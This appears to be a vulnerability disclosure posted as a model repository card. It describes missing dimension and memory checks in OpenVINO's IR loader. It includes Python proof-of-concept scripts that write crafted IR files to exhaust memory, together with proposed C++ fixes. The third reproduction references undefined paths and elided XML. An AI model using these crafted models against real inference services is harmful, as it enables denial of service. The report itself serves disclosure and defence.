YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

OpenVINO (IR Format): Model Validation Gaps

Summary

OpenVINO 2026.1.0's read_model() parses IR (.xml/.bin) files and converts them to an internal representation with insufficient structural validation. Extreme dimension values (1x10^12) are accepted without bounds checking, and models with 300M+ elements compile successfully on CPU, allowing memory exhaustion DoS attacks. Empty models (0 layers) and zero-dimension tensors pass loading without error. Unlike ONNX (check_model) and TensorFlow (contains_saved_model), OpenVINO has no model validation function in its Python API.

  1. Dimension Bounds Bypass: Dimensions of 10^12 accepted, 4TB tensors would be allocated if memory were available.
  2. Memory Exhaustion via Compilation: 300M-element model compiles and allocates ~1.2GB without memory limit checks.
  3. No check_model Equivalent: OpenVINO has no validate-before-load API. read_model() both parses and converts in one step.

The C++ layer does implement some validation: offset+size bounds checking, negative dimension (less than -1) rejection, negative size rejection, and cycle detection. However, no dimension upper bounds or memory limits are enforced.

CVSS 3.1: 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

Tested Context

  • Package: openvino
  • Version: 2026.1.0
  • Python: 3.10
  • Date: 2026-05-08

Vulnerability 1 (MEDIUM): Dimension Bounds Bypass

Location: openvino_ir_frontend.dll (C++ XML parser, source at src/frontends/ir/)

The IR XML parser reads dimension values from <dim> elements in the <port> definitions and passes them directly to tensor shape construction. No upper bound is enforced during read_model() or compile_model().

Reproduction

import openvino as ov
import tempfile, os

tmpdir = tempfile.mkdtemp()

# Create IR file with extreme dimensions (1 trillion elements = ~4TB)
xml = """<?xml version="1.0"?>
<net name="extreme_model" version="11">
    <layers>
        <layer id="0" name="input" type="Parameter" version="opset1">
            <data shape="1,1000000000000" element_type="f32" />
            <output>
                <port id="0" precision="FP32" names="input">
                    <dim>1</dim>
                    <dim>1000000000000</dim>
                </port>
            </output>
        </layer>
        <layer id="1" name="result" type="Result" version="opset1">
            <input>
                <port id="0" precision="FP32">
                    <dim>1</dim>
                    <dim>1000000000000</dim>
                </port>
            </input>
        </layer>
    </layers>
    <edges>
        <edge from-layer="0" from-port="0" to-layer="1" to-port="0" />
    </edges>
    <rt_info />
</net>"""

xml_path = os.path.join(tmpdir, "extreme.xml")
with open(xml_path, "w") as f:
    f.write(xml)
# Create empty bin file
with open(os.path.join(tmpdir, "extreme.bin"), "wb") as f:
    f.write(b"")

core = ov.Core()
model = core.read_model(xml_path)  # No error!
print(model.get_parameters()[0].get_partial_shape())  # [1,1000000000000]

Impact

  • A 1x10^12 float32 tensor would require ~4TB of memory
  • Models can be crafted to target specific memory limits of production systems
  • No upper bound means the memory requirement scales linearly with the dimension value in the XML

Vulnerability 2 (MEDIUM): Memory Exhaustion via Compilation

Location: core.compile_model() โ†’ openvino.dll (device-specific compilation)

When compile_model() is called, the runtime allocates tensors based on model dimensions. A model with 300M elements (~1.2GB for float32) compiles without any memory limit or pre-allocation check.

Reproduction

import openvino as ov
import tempfile, os

tmpdir = tempfile.mkdtemp()

# Model with 300M float32 elements (~1.2GB)
xml = """<?xml version="1.0"?>
<net name="large_model" version="11">
    <layers>
        <layer id="0" name="input" type="Parameter" version="opset1">
            <data shape="1,10000,10000,3" element_type="f32" />
            <output>
                <port id="0" precision="FP32" names="input">
                    <dim>1</dim>
                    <dim>10000</dim>
                    <dim>10000</dim>
                    <dim>3</dim>
                </port>
            </output>
        </layer>
        <layer id="1" name="result" type="Result" version="opset1">
            <input>
                <port id="0" precision="FP32">
                    <dim>1</dim>
                    <dim>10000</dim>
                    <dim>10000</dim>
                    <dim>3</dim>
                </port>
            </input>
        </layer>
    </layers>
    <edges>
        <edge from-layer="0" from-port="0" to-layer="1" to-port="0" />
    </edges>
</net>"""

xml_path = os.path.join(tmpdir, "large.xml")
with open(xml_path, "w") as f:
    f.write(xml)
with open(os.path.join(tmpdir, "large.bin"), "wb") as f:
    f.write(b"")

core = ov.Core()
model = core.read_model(xml_path)         # OK โ€” no memory check
compiled = core.compile_model(model, "CPU")  # OK โ€” actually allocates ~1.2GB

Impact

  • Attacker-supplied IR files can exhaust system memory during compilation
  • Models targeting inference servers can cause DoS
  • Scaling dimension values scales memory allocation linearly

Vulnerability 3 (LOW): Empty and Zero-Dimension Models Accepted

Location: openvino_ir_frontend.dll (XML parsing)

Models with 0 layers, 0 parameters, or zero-dimension tensors load without error. While not directly exploitable, this indicates a lack of structural integrity validation that could mask other issues.

Reproduction

import openvino as ov

# Empty model (0 layers)
xml_empty = """<?xml version="1.0"?>
<net name="empty" version="11">
    <layers></layers>
    <edges></edges>
</net>"""

core = ov.Core()
model = core.read_model(xml_path)  # No error! 0 params, 0 results

# Zero-dimension tensor
xml_zero = """<?xml version="1.0"?>
<net name="zero" version="11">
    <layers>
        <layer id="0" name="input" type="Parameter" version="opset1">
            <data shape="1,0" element_type="f32" />
            ...
    </layers>
</net>"""
model2 = core.read_model(xml_path2)  # No error! Shape: [1,0]

Comparison: Validation Across ML Frameworks

Feature ONNX TF SavedModel OpenVINO IR
check_model() / contains_model() Yes Yes No
Dimension upper bound Yes (partial) Yes (2^63-1) No
Weight file existence check Yes (v1.21.0) Partial Partial (only Const layers)
Memory limit before compilation N/A N/A No
Empty model rejection Yes Partial No
Cycle detection Yes N/A Yes
Offset+size validation Yes (v1.21.0) N/A Yes
Path traversal protection Yes (v1.21.0) No N/A (no external paths)

Validation That DOES Work in OpenVINO

The C++ layer (via openvino_ir_frontend.dll and openvino.dll) provides these checks:

Check Source Location
offset + size <= bin_file_size xml_deserialize_util.cpp:907
Negative size rejected frontends/common/src/frontend.cpp:54
Dimension >= -1 enforced xml_deserialize_util.cpp:1171
Cycle detection in edges xml_deserialize_util.cpp:1026
Missing/empty bin file with Const layers xml_deserialize_util.cpp:893

Fixes

1) Add dimension upper bound validation:

// In xml_deserialize_util.cpp, after parsing dim values
constexpr int64_t MAX_TENSOR_DIM = 1 << 24;  // ~16M
constexpr int64_t MAX_TENSOR_ELEMENTS = 1LL << 38;  // ~256G elements

for (auto dim : parsed_dims) {
    if (dim > MAX_TENSOR_DIM) {
        OPENVINO_THROW("Dimension ", dim, " exceeds maximum allowed (", MAX_TENSOR_DIM, ")");
    }
}
// Check product doesn't overflow and is within bounds
int64_t product = 1;
for (auto dim : parsed_dims) {
    if (dim > 0 && product > MAX_TENSOR_ELEMENTS / dim) {
        OPENVINO_THROW("Tensor element count would exceed maximum");
    }
    product *= dim;
}

2) Add memory limit check before compilation:

// In compile_model path, estimate memory requirement
size_t estimated_memory = calculate_model_memory(model);
if (estimated_memory > max_allowed_memory) {
    OPENVINO_THROW("Model memory requirement (", estimated_memory,
                   ") exceeds limit (", max_allowed_memory, ")");
}

3) Add a validation API:

# Python API addition
core = ov.Core()
result = core.validate_model("model.xml")  # New function
# Returns ValidationResult with warnings/errors

Notes

  • OpenVINO's IR format parsing is primarily in native C++ DLLs (openvino_ir_frontend.dll, openvino.dll). The Python layer is a thin wrapper.
  • The ONNX and PaddlePaddle frontends share the same read_model() path and may have similar gaps.
  • Memory exhaustion via extreme dimensions is the most impactful finding โ€” it allows DoS without any code execution.
  • Unlike TF SavedModel's asset path traversal, OpenVINO IR does not support external file references (weights are always in the adjacent .bin file), limiting path traversal risk.
  • The XXE test confirmed that OpenVINO's XML parser does NOT expand external entities (parameter names with &xxe; appeared literally).
  • C++ source for the IR frontend is in the openvino repository at src/frontends/ir/.
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support